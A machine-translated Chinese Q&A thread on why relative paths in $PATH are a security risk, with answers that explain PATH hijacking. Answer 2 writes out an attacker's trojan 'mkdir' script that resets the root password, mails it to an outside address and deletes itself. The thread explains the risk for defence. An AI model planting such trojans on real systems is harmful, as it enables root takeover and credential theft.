我们进行了一次审计,因为我们在$PATH
环境变量中使用了相对路径,所以才被标记。我不确定这是否真的是一个安全问题,我想联系所有人,看看这是否真的是一个安全问题,还是只是一个最佳实践就像我想象的那样。有人能提供$PATH
与亲属一起使用时的安全问题信息吗?谢谢
答案1
$PATH 中存在相对路径的问题在于,如果攻击者可以在你的文件系统中创建一个具有给定名称的文件,那么你就有可能执行该文件。
例如:df
或者监控说 /var 已满,du
说它是/var/spool/ftp/uploads
,你会怎么做?
cd /var/spool/ftp/uploads
ls -ltr
ls
并且您被拥有。您甚至在输出中都看不到,所以您永远不会知道。
用某些客户端网站的某些数据目录,或者共享机器的 /tmp 目录,或者许多其他东西替换 ftp 上传。
无可否认,这种情况不会经常发生,但风险确实存在,而且改写起来./script
很script
容易。
答案2
您使用的路径有两个问题。
- 该路径是相对的。
- 相对路径前主要路径。
假设您有以下 shell 脚本,您以 root 身份使用它来更新某个 web 应用程序,并且您已设置$PATH
正在使用的/etc/profile
#!/bin/bash
pushd /dev/shm
git clone http://some/git/path/web_app
cp -a web_app /var/www/html
rm -fr web_app
popd
对于攻击者来说,您提供了一种在由该攻击者控制的 shell 中执行某些操作的方法。攻击形式如下 - 我试图破坏对mkdir
易受攻击的脚本中的调用的控制。
attacker$ cd /dev/shm
attacker$ mkdir -p apps/java/bin
attacker$ vi apps/java/bin/mkdir
#!/bin/bash
echo "some_random_password" | passwd --stdin root
echo "We owned that guy with some_random_password" | mail -s "Pwned" [email protected]
/bin/mkdir $@
rm -fr /dev/shm/apps
attacker$ chmod +x apps/java/bin/mkdir
然后我等你更新你的web应用程序。
现在,易受攻击的脚本切换到/dev/shm
。当它执行此操作并运行时,mkdir
它会apps/java/bin/mkdir
首先找到程序,在这种情况下,该程序会重置 root 密码,向攻击者发送新的 root 密码,实际上调用真实的mkdir
(以隐藏任何实际发生的事实) 并将自己从攻击路径中移除。
作为 root,你有不不知道发生了什么,而且一旦有效载荷被交付,证据就会被消除。